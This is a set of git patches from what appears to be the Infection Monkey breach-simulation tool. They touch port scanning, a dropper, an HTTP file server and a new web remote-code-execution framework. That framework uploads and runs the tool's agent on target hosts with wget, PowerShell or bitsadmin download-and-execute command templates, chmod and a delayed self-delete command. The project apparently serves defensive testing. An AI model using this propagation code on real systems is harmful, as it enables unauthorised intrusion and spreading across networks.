didn't filter it properly - pass + timeout = int(round(timeout)) # clamp to integer, to avoid checking input + time_left = timeout + sockets_to_try = possible_ports[:] + connected_ports_sockets = [] + while (time_left >= 0) and len(sockets_to_try): + sock_objects = [s[1] for s in sockets_to_try] + + _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) + for s in writeable_sockets: + try: # actual test + connected_ports_sockets.append((s.getpeername()[1], s)) + except socket.error: # bad socket, select didn't filter it properly + pass + sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] + if sockets_to_try: + time.sleep(SLEEP_BETWEEN_POLL) + timeout -= SLEEP_BETWEEN_POLL + LOG.debug( "On host %s discovered the following ports %s" % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))) From d853e02693134c3a756da91b813c2973a96d27e6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Jul 2018 13:08:08 +0300 Subject: [PATCH 100/243] Remove FTP server from infra New FTP server will come from pyftp --- infection_monkey/transport/__init__.py | 1 - infection_monkey/transport/ftp.py | 174 ------------------------- 2 files changed, 175 deletions(-) delete mode 100644 infection_monkey/transport/ftp.py diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 651964fcb..14a0d68b2 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,4 +1,3 @@ -from ftp import FTPServer from http import HTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py deleted file mode 100644 index c90f8c484..000000000 --- a/infection_monkey/transport/ftp.py +++ /dev/null @@ -1,174 +0,0 @@ -import socket, threading, time -import StringIO - -__author__ = 'hoffer' - - -class FTPServer(threading.Thread): - def __init__(self, local_ip, local_port, files): - self.files=files - self.cwd='/' - self.mode='I' - self.rest=False - self.pasv_mode=False - self.local_ip = local_ip - self.local_port = local_port - threading.Thread.__init__(self) - - def run(self): - self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.sock.bind((self.local_ip,self.local_port)) - self.sock.listen(1) - - self.conn, self.addr = self.sock.accept() - - self.conn.send('220 Welcome!\r\n') - while True: - if 0 == len(self.files): - break - cmd=self.conn.recv(256) - if not cmd: break - else: - try: - func=getattr(self,cmd[:4].strip().upper()) - func(cmd) - except Exception as e: - self.conn.send('500 Sorry.\r\n') - break - - self.conn.close() - self.sock.close() - - def SYST(self,cmd): - self.conn.send('215 UNIX Type: L8\r\n') - def OPTS(self,cmd): - if cmd[5:-2].upper()=='UTF8 ON': - self.conn.send('200 OK.\r\n') - else: - self.conn.send('451 Sorry.\r\n') - def USER(self,cmd): - self.conn.send('331 OK.\r\n') - - def PASS(self,cmd): - self.conn.send('230 OK.\r\n') - - def QUIT(self,cmd): - self.conn.send('221 Goodbye.\r\n') - - def NOOP(self,cmd): - self.conn.send('200 OK.\r\n') - - def TYPE(self,cmd): - self.mode=cmd[5] - self.conn.send('200 Binary mode.\r\n') - - def CDUP(self,cmd): - self.conn.send('200 OK.\r\n') - - def PWD(self,cmd): - self.conn.send('257 \"%s\"\r\n' % self.cwd) - - def CWD(self,cmd): - self.conn.send('250 OK.\r\n') - - def PORT(self,cmd): - if self.pasv_mode: - self.servsock.close() - self.pasv_mode = False - l = cmd[5:].split(',') - self.dataAddr='.'.join(l[:4]) - self.dataPort=(int(l[4])<<8)+int(l[5]) - self.conn.send('200 Get port.\r\n') - - def PASV(self,cmd): - self.pasv_mode = True - self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((self.local_ip,0)) - self.servsock.listen(1) - ip, port = self.servsock.getsockname() - self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % - (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) - - def start_datasock(self): - if self.pasv_mode: - self.datasock, addr = self.servsock.accept() - else: - self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.datasock.connect((self.dataAddr,self.dataPort)) - - def stop_datasock(self): - self.datasock.close() - if self.pasv_mode: - self.servsock.close() - - def LIST(self,cmd): - self.conn.send('150 Here comes the directory listing.\r\n') - self.start_datasock() - for fn in self.files.keys(): - k=self.toListItem(fn) - self.datasock.send(k+'\r\n') - self.stop_datasock() - self.conn.send('226 Directory send OK.\r\n') - - def toListItem(self,fn): - fullmode='rwxrwxrwx' - mode = '' - d = '-' - ftime=time.strftime(' %b %d %H:%M ', time.gmtime()) - return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn - - def MKD(self,cmd): - self.conn.send('257 Directory created.\r\n') - - def RMD(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def DELE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def SIZE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def RNFR(self,cmd): - self.conn.send('350 Ready.\r\n') - - def RNTO(self,cmd): - self.conn.send('250 File renamed.\r\n') - - def REST(self,cmd): - self.pos=int(cmd[5:-2]) - self.rest=True - self.conn.send('250 File position reseted.\r\n') - - def RETR(self,cmd): - fn = cmd[5:-2] - if self.mode=='I': - fi=self.files[fn] - else: - fi=self.files[fn] - self.conn.send('150 Opening data connection.\r\n') - if self.rest: - fi.seek(self.pos) - self.rest=False - data= fi.read(1024) - self.start_datasock() - while data: - self.datasock.send(data) - data=fi.read(1024) - fi.close() - del self.files[fn] - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') - - def STOR(self,cmd): - fn = cmd[5:-2] - fo = StringIO.StringIO() - self.conn.send('150 Opening data connection.\r\n') - self.start_datasock() - while True: - data=self.datasock.recv(1024) - if not data: break - fo.write(data) - fo.seek(0) - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') From dfecc6d6aca0cf479952e23e2b0fbbc632ac553e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 12:44:19 +0300 Subject: [PATCH 101/243] os.path.samefile does not work on windows. My code checks if files handlers are the same instead --- infection_monkey/dropper.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 6e63e5404..f60e8894a 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -56,7 +56,10 @@ class MonkeyDrops(object): return False # we copy/move only in case path is different - file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) + try: + file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + except OSError: + file_moved = False if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) From d78e81db06d01d25e813b3a2e8a9ebc280852ce7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 20:48:15 +0300 Subject: [PATCH 102/243] Changed to a better file comparison function --- infection_monkey/dropper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index f60e8894a..c135dcddb 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -9,6 +9,7 @@ import sys import time from ctypes import c_char_p +import filecmp from config import WormConfiguration from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX @@ -57,7 +58,7 @@ class MonkeyDrops(object): # we copy/move only in case path is different try: - file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) except OSError: file_moved = False From 68d949c655852a15282890e45eb39f357a6cce2f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 12:33:44 +0300 Subject: [PATCH 103/243] Web RCE framework core files/changes --- infection_monkey/exploit/tools.py | 19 +- infection_monkey/exploit/web_rce.py | 362 +++++++++++++++++++++++++ infection_monkey/model/__init__.py | 20 +- infection_monkey/transport/__init__.py | 2 +- infection_monkey/transport/http.py | 31 +++ 5 files changed, 425 insertions(+), 9 deletions(-) create mode 100644 infection_monkey/exploit/web_rce.py diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index dbbd8070a..c40fd6f9c 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -21,7 +21,7 @@ import monkeyfs from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes -from transport import HTTPServer +from transport import HTTPServer, LockedHTTPServer class DceRpcException(Exception): @@ -386,6 +386,23 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + def get_interface_to_target(dst): if sys.platform == "win32": diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py new file mode 100644 index 000000000..1f79b3f4e --- /dev/null +++ b/infection_monkey/exploit/web_rce.py @@ -0,0 +1,362 @@ +import logging + +from threading import Lock +from exploit import HostExploiter +from model import * +from posixpath import join +import re +from abc import abstractmethod +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from network.tools import check_tcp_port + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + +LOCK = Lock() + +class WebRCE(HostExploiter): + + def __init__(self, host): + super(WebRCE, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + self.skip_exist = self._config.skip_exploit_if_file_exist + + @abstractmethod + def exploit_host(self): + raise NotImplementedError() + + @abstractmethod + def exploit(self, url, command): + """ + A reference to a method which implements web exploit logic. + :param url: Url where to send maliciuos packet + :param command: Command which will be executed on remote host + :return: Command's output string. Or True/False if it's a blind exploit + """ + raise NotImplementedError() + + @staticmethod + def get_open_service_ports(host, port_list, names): + """ + :param host: Host machine we are dealing with + :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Returns all open ports from port list that are of service names + """ + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports + + @staticmethod + def check_if_port_open(host, port): + is_open, _ = check_tcp_port(host.ip_addr, port) + if not is_open: + LOG.info("Port %s is closed on %r, skipping", port, host) + return False + return True + + @staticmethod + def check_if_exploitable(exploiter, url): + try: + resp = exploiter(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False + + @staticmethod + def build_potential_urls(host, ports, extensions=None): + """ + :param host: Domain part of url, for example ip of host + :param ports: Array [ port.nr, isHTTPS? ] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions is None: + for port in ports: + if port[1]: + url_list.append(("https://%s:%s" % (host.ip_addr, port[0]))) + else: + url_list.append(("http://%s:%s" % (host.ip_addr, port[0]))) + else: + # We parse extensions not to start with / + for idx, extension in enumerate(extensions): + if '/' in extension[0]: + extensions[idx] = extension[1:] + for port in ports: + for extension in extensions: + if port[1]: + url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) + else: + url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) + if not url_list: + LOG.info("No attack url's were built") + return url_list + + @staticmethod + def get_host_arch(host, exploiter, url): + """ + :param host: Host parameter + :param exploiter: Function with exploit logic. exploiter(url, command) + :param url: Url for exploiter to use + :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... + """ + if 'linux' in host.os['type']: + resp = exploiter(url, ARCH_LINUX) + if resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + if arch: + return arch + else: + LOG.info("Could not pull machine architecture string from command's output") + return False + else: + return False + else: + resp = exploiter(url, ARCH_WINDOWS) + if resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def check_remote_file(exploiter, url, path): + command = EXISTS % path + resp = exploiter(url, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True + + @staticmethod + def check_remote_files(host, exploiter, url, config): + """ + Checks if any monkey files are present on remote host + :param host: Host parameter + :param exploiter: Function with exploit logic. exploiter(url, command) + :param url: Url for exploiter to use + :param config: Monkey config from which paths are taken + :return: True if at least one file is found, False otherwise + """ + paths = [] + if 'linux' in host.os['type']: + paths.append(config.dropper_target_path_linux) + else: + paths.append(config.dropper_target_path_win_32) + paths.append(config.dropper_target_path_win_64) + for path in paths: + if WebRCE.check_remote_file(exploiter, url, path): + return True + return False + + @staticmethod + def get_monkey_dest_path(config, src_path): + """ + Gets destination path from source path. + :param config: monkey configuration + :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + if not src_path or ('linux' not in src_path and 'windows' not in src_path): + LOG.error("Can't get destination path because source path %s is invalid.", src_path) + return False + try: + if 'linux' in src_path: + return config.dropper_target_path_linux + elif "windows-32" in src_path: + return config.dropper_target_path_win_32 + else: + return config.dropper_target_path_win_64 + except AttributeError: + LOG.error("Seems like configuration properties names changed. " + "Can not get destination path to upload monkey") + return False + + # Wrapped functions: + + @staticmethod + def get_ports_w(host, ports, names, log_msg=None): + ports = WebRCE.get_open_service_ports(host, ports, names) + if not ports and not log_msg: + LOG.info("All default web ports are closed on %r, skipping", host) + return False + elif not ports and log_msg: + LOG.info(log_msg) + return False + else: + return ports + + @staticmethod + def set_host_arch(host, exploiter, url): + arch = WebRCE.get_host_arch(host, exploiter, url) + if not arch: + LOG.error("Couldn't get host machine's architecture") + return False + else: + host.os['machine'] = arch + return True + + @staticmethod + def upload_monkey(host, config, exploiter, url, commands=None): + """ + :param host: Where we are trying to upload + :param exploiter:exploiter(url, command) Method that implements web RCE + :param config: Monkey config, to get the path where to place uploaded monkey + :param url: Where exploiter should send it's request + :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :return: {'response': response/False, 'path': monkeys_path_in_host} + """ + LOG.info("Trying to upload monkey to the host.") + src_path = get_target_monkey(host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = WebRCE.get_monkey_dest_path(config, src_path) + if not path: + return False + # To avoid race conditions we pass a locked lock to http servers thread + LOCK.acquire() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK) + LOCK.acquire() + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + if not host.os['type']: + LOG.error("Unknown target's os type. Skipping.") + return False + if 'linux' in host.os['type']: + if not commands: + command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} + else: + try: + command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit linux host, but linux command is missing/bad! " + "Check upload_monkey function docs.") + return False + else: + if not commands: + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} + else: + try: + command = commands['windows'] % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit windows host, but windows command is missing/bad! " + "Check upload_monkey function docs.") + return False + resp = exploiter(url, command) + + if not isinstance(resp, bool) and 'owershell is not recognized' in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} + resp = exploiter(url, backup_command) + LOCK.release() + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Uploading proccess finished") + return {'response': resp, 'path': path} + + @staticmethod + def change_permissions(host, url, exploiter, path, command=None): + """ + Method for linux hosts. Makes monkey executable + :param host: Host info + :param url: Where to send malicious packets + :param exploiter: exploiter(url, command) Method that implements web RCE. + :param path: Path to monkey on remote host + :param command: Formatted command for permission change or None + :return: response, False if failed and True if permission change is not needed + """ + LOG.info("Changing monkey's permissions") + if 'windows' in host.os['type']: + LOG.info("Permission change not required for windows") + return True + if not command: + command = CHMOD_MONKEY % {'monkey_path': path} + try: + resp = exploiter(url, command) + except Exception as e: + LOG.error("Something went wrong while trying to change permission: %s" % e) + return False + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Permission change finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'Operation not permitted' in resp: + LOG.error("Missing permissions to make monkey executable") + return False + elif 'No such file or directory' in resp: + LOG.error("Could not change persmission because monkey was not found. Check path parameter.") + return False + LOG.info("Permission change finished") + return resp + + @staticmethod + def execute_remote_monkey(host, url, exploiter, path, dropper=False): + """ + This method executes remote monkey + :param host: Host info + :param url: Where to send malicious packets + :param exploiter: exploiter(url, command) Method that implements web RCE. + :param path: Path to monkey on remote host + :param dropper: Should remote monkey be executed with dropper or with monkey arg? + :return: Response or False if failed + """ + LOG.info("Trying to execute remote monkey") + # Get monkey command line + if dropper and path: + monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} + else: + monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} + try: + resp = exploiter(url, command) + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Execution attempt successfully finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'is not recognized' in resp or 'command not found' in resp: + LOG.error("Wrong path chosen or other process already deleted monkey") + return False + elif 'The system cannot execute' in resp: + LOG.error("System could not execute monkey") + return False + except Exception as e: + LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) + return False + LOG.info("Execution attempt finished") + return resp + + + diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index a2a1e18bb..0c1e5a09b 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +ARCH_WINDOWS = "wmic os get osarchitecture" +ARCH_LINUX = "lscpu" # Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +EXISTS = "ls %s" + +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 14a0d68b2..d0408a309 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,3 +1,3 @@ -from http import HTTPServer +from http import HTTPServer, LockedHTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 8d07fd155..e65248161 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -6,6 +6,7 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit +from threading import Lock import monkeyfs from base import TransportProxyBase, update_last_serve_time @@ -182,6 +183,36 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) +class LockedHTTPServer(threading.Thread): + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + self._local_ip = local_ip + self._local_port = local_port + self._filename = filename + self.max_downloads = max_downloads + self.downloads = 0 + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + + def run(self): + class TempHandler(FileServHTTPRequestHandler): + filename = self._filename + + @staticmethod + def report_download(dest=None): + LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + self.downloads += 1 + + httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) + self.lock.release() + while not self._stopped and self.downloads < self.max_downloads: + httpd.handle_request() + + self._stopped = True + + def stop(self, timeout=60): + self._stopped = True + self.join(timeout) class HTTPConnectProxy(TransportProxyBase): def run(self): From 40957f865cb9ff7707337394f6bb73f4ff77347d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:04:52 +0300 Subject: [PATCH 104/243] Struts2 compatability fix --- infection_monkey/model/__init__.py | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 0c1e5a09b..a2a1e18bb 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,19 +17,13 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" -POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" -WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' -CHMOD_MONKEY = "chmod +x %(monkey_path)s" -RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' + # Commands used to check for architecture and if machine is exploitable -CHECK_COMMAND = "echo %s" % ID_STRING -# Architecture checking commands -ARCH_WINDOWS = "wmic os get osarchitecture" -ARCH_LINUX = "lscpu" +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Commands used to check if monkeys already exists -EXISTS = "ls %s" - -DOWNLOAD_TIMEOUT = 300 \ No newline at end of file +EXISTS = "ls %s" \ No newline at end of file From 800e337f6f0e4fc3f9d25c5dff417ae3dc736a33 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 19 Jul 2018 18:35:37 +0300 Subject: [PATCH 105/243] Add credential map to report. currently uses fake static data --- .../cc/ui/src/components/map/MapOptions.js | 35 ++- .../map/preview-pane/InfMapPreviewPane.js | 247 +++++++++++++++++ .../map/preview-pane/PreviewPane.js | 252 +----------------- .../map/preview-pane/PthPreviewPane.js | 63 +++++ .../cc/ui/src/components/pages/MapPage.js | 4 +- .../components/pages/PassTheHashMapPage.js | 94 +++---- .../cc/ui/src/components/pages/ReportPage.js | 46 ++++ .../cc/ui/src/images/nodes/pth/critical.png | Bin 0 -> 20067 bytes .../cc/ui/src/images/nodes/pth/normal.png | Bin 0 -> 19466 bytes 9 files changed, 436 insertions(+), 305 deletions(-) create mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js create mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js create mode 100644 monkey_island/cc/ui/src/images/nodes/pth/critical.png create mode 100644 monkey_island/cc/ui/src/images/nodes/pth/normal.png diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey_island/cc/ui/src/components/map/MapOptions.js index 701adcf29..f6946ea31 100644 --- a/monkey_island/cc/ui/src/components/map/MapOptions.js +++ b/monkey_island/cc/ui/src/components/map/MapOptions.js @@ -1,4 +1,4 @@ -let groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', +const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', 'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running', 'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux', 'monkey_linux_running', 'monkey_windows', 'monkey_windows_running']; @@ -16,7 +16,22 @@ let getGroupsOptions = () => { return groupOptions; }; -export const options = { +const groupNamesPth = ['normal', 'critical']; + +let getGroupsOptionsPth = () => { + let groupOptions = {}; + for (let groupName of groupNamesPth) { + groupOptions[groupName] = + { + shape: 'image', + size: 50, + image: require('../../images/nodes/pth/' + groupName + '.png') + }; + } + return groupOptions; +}; + +export const basic_options = { autoResize: true, layout: { improvedLayout: false @@ -33,10 +48,22 @@ export const options = { avoidOverlap: 0.5 }, minVelocity: 0.75 - }, - groups: getGroupsOptions() + } }; +export const options = (() => { + let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ + opts.groups = getGroupsOptions(); + return opts; +})(); + +export const optionsPth = (() => { + let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ + opts.groups = getGroupsOptionsPth(); + opts.physics.barnesHut.gravitationalConstant = -20000; + return opts; +})(); + export function edgeGroupToColor(group) { switch (group) { case 'exploited': diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js new file mode 100644 index 000000000..e06043c20 --- /dev/null +++ b/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js @@ -0,0 +1,247 @@ +import React from 'react'; +import {Icon} from 'react-fa'; +import Toggle from 'react-toggle'; +import {OverlayTrigger, Tooltip} from 'react-bootstrap'; +import download from 'downloadjs' +import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; + +class InfMapPreviewPaneComponent extends PreviewPaneComponent { + + osRow(asset) { + return ( + + Operating System + {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)} + + ); + } + + ipsRow(asset) { + return ( + + IP Addresses + {asset.ip_addresses.map(val =>
    {val}
    )} + + ); + } + + servicesRow(asset) { + return ( + + Services + {asset.services.map(val =>
    {val}
    )} + + ); + } + + accessibleRow(asset) { + return ( + + + Accessible From  + {this.generateToolTip('List of machine which can access this one using a network protocol')} + + {asset.accessible_from_nodes.map(val =>
    {val}
